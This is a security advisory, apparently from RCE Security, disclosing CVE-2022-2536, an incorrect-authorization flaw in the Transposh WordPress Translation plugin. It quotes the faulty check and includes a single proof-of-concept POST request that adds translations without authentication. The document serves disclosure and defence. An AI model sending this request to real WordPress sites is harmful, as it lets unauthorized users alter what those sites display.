Transposh WordPress Translation 1.0.8.1 Incorrect Authorization

Transposh WordPress Translation versions 1.0.8.1 and below suffer from an incorrect authorization vulnerability.


SHA-256 | cf075b58a8a1c31fce95fca535703432ed02017dc8456967462b1e93044c2dcc

RCE Security Advisory
https://www.rcesecurity.com


1. ADVISORY INFORMATION
=======================
Product: Transposh WordPress Translation
Vendor URL: https://wordpress.org/plugins/transposh-translation-filter-for-wordpress/
Type: Incorrect Authorization [CWE-863]
Date found: 2022-07-23
Date published: 2022-08-16
CVSSv3 Score: 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N)
CVE: CVE-2022-2536


2. CREDITS
==========
This vulnerability was discovered and researched by Julien Ahrens from
RCE Security.


3. VERSIONS AFFECTED
====================
Transposh WordPress Translation 1.0.8.1 and below


4. INTRODUCTION
===============
Transposh translation filter for WordPress offers a unique approach to blog
translation. It allows your blog to combine automatic translation with human
translation aided by your users with an easy to use in-context interface.

(from the vendor's homepage)


5. VULNERABILITY DETAILS
========================
When installed, Transposh comes with a set of pre-configured options; one of these
is the "Who can translate" setting under the "Settings" tab. However, this option
is ignored if Transposh has enabled its "autotranslate" feature (it's enabled by
default) and the HTTP POST parameter "sr0" is larger than 0. This is caused by a
faulty validation in "wp/transposh_db.php":

if (!$by && !($all_editable &&
($this->transposh->is_translator() || ($source > 0 && $this->transposh->options->enable_autotranslate)))) {
tp_logger("Unauthorized translation attempt " . $_SERVER['REMOTE_ADDR'], 1);
header("HTTP/1.0 401 Unauthorized translation");
exit;
}

Successful exploits can allow an unauthenticated attacker to bypass the Transposh
permissions and add translations to the WordPress site, thereby influencing what
is shown on the site. However, this only affects new translations.


6. PROOF OF CONCEPT
===================
The following Proof-of-Concept adds a new translation

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: [host]
Content-Length: 74
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
User-Agent: Mozilla/5.0
Connection: close

action=tp_translation&ln0=en&sr0=1&items=1&tk0=translation&tr0=translation


7. SOLUTION
===========
None. Remove the plugin to prevent exploitation.


8. REPORT TIMELINE
==================
2022-07-23: Discovery of the vulnerability
2022-07-23: CVE requested from Wordfence (CNA)
2022-07-25: Wordfence assigns CVE-2022-2536
2022-08-09: Sent note to vendor
2022-08-09: Vendor is aware of this bug, but there is no plan to fix it yet
2022-08-16: Public Disclosure


9. REFERENCES
=============
https://github.com/MrTuxracer/advisories

Related Posts